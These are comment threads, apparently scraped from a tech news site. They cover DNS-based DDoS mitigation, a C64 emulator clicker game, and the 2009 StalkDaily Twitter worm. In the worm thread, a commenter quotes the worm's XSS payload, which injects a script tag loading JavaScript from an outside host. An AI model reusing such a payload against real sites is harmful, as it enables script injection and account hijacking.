Your random residential ISP may limit their DNS service to customers only -- unless the victim also happens to be a customer of said ISP (the very rare case), the victim's IP address will be refused service, and not sent a response. While this blocks "legitimate" requests (without forged senders) as well unless you're actually on that ISPs network, in practice this is rarely a problem -- DHCP is probably advertising the DNS servers which will respond to you on whatever network you're on. Aside from preventing other ISPs from having their customers freeload off your ISP's DNS server, this also prevents the attack (at least with regards to DNS servers.)

 _How do they differentiate between a legit query and a DDoS query?_

CloudFlare, being on the sending side of the equation, can track what DNS requests are going outbound even without IPsec, and drop inbound responses which can't be matched up against one of those requests. That sounds expensive however. I imagine they do something much cheaper, like simply drop all inbound DNS traffic except the approved list of DNS servers that are probably advertised over DHCP anyways. Again, this can block technically "legitimate" requests where someone really did want to intentionally use some other DNS server, but again, rarely a problem.

<comment><USER8> Oh, hey, it's MaulingMonkey! How are ya? #gamedev 4 lyfe, yo. How is that old channel nowadays anyway?

Thanks for the thorough and very clear explanation.

<comment><USER9> Same old same old.

</comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER10> If being attacked with a DDoS why not set the source of the attacks as the address to resolve your IP address to?

<comment><USER11> It depends on the type of DOS attack being used by the attackers. If they are using a SYN attack you can change the source ip as you don't care to hear back. But a SYN attack can be mitigated a bit easier once you know about it.

If you are doing a more application specific attack, you need to establish a connection (assuming it is TCP), so you can't hide you IP in that case.

<comment><USER10> It's not "hiding" your IP address, it's changing your affected nameservers to that of the attacker.</comment></comment></comment>


Commodore Clicker: JavaScript C64 emulation clocked by an incremental game - <AUTHOR> http://c64clicker.com/

<comment><USER2> So it's like "Cookie Clicker", but instead of baking cookies, you generate pixels like the VIC II chip in a Commodore 64. Great!</comment>


Warning: Twitter Hit By StalkDaily Worm - <AUTHOR> http://www.techcrunch.com/2009/04/11/twitter-hit-by-stalkdaily-worm/ <comment><USER2> Apparently, this was the XSS: var xss = urlencode('[http://www.stalkdaily.com"></a><script](http://www.stalkdaily.com) src="[http://mikeyylolz.uuuq.com/x.js"></script><a](http://mikeyylolz.uuuq.com/x.js) ');

... WTF twitter? This is basic stuff.

</comment><comment><USER3> It appears that the creator of StalkDaily has admitted to creating the worm, and disabled it: <http://www.bnonews.com/news/242.html>

<comment><USER4> 17 Years, poor boy, hope his dad has a good lawyer.</comment></comment>